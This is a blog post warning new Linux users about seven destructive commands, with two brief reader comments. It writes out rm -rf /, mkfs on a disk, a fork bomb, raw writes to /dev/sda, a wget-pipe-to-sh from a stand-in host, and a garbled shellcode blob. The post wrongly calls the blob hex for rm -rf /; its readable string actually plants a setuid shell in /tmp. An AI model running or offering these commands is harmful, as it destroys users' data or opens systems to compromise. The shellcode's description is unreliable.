The 7 Deadly Linux Commands

作者:Posted by jun auza at 7:07 PM
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
1. Code:

rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:
mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:
:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:
any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.
There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

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2 thoughts on “The 7 Deadly Linux Commands

  1. Yu

    我去,第一个就是大杀器
    谁用了这个简直是安装了bumblebee
    (关于bumblebee http_//coolshell.cn/articles/4875.html )

    • Leniy

      是啊是啊。bumblebee的相关漫画刚出来时,看的快笑死了

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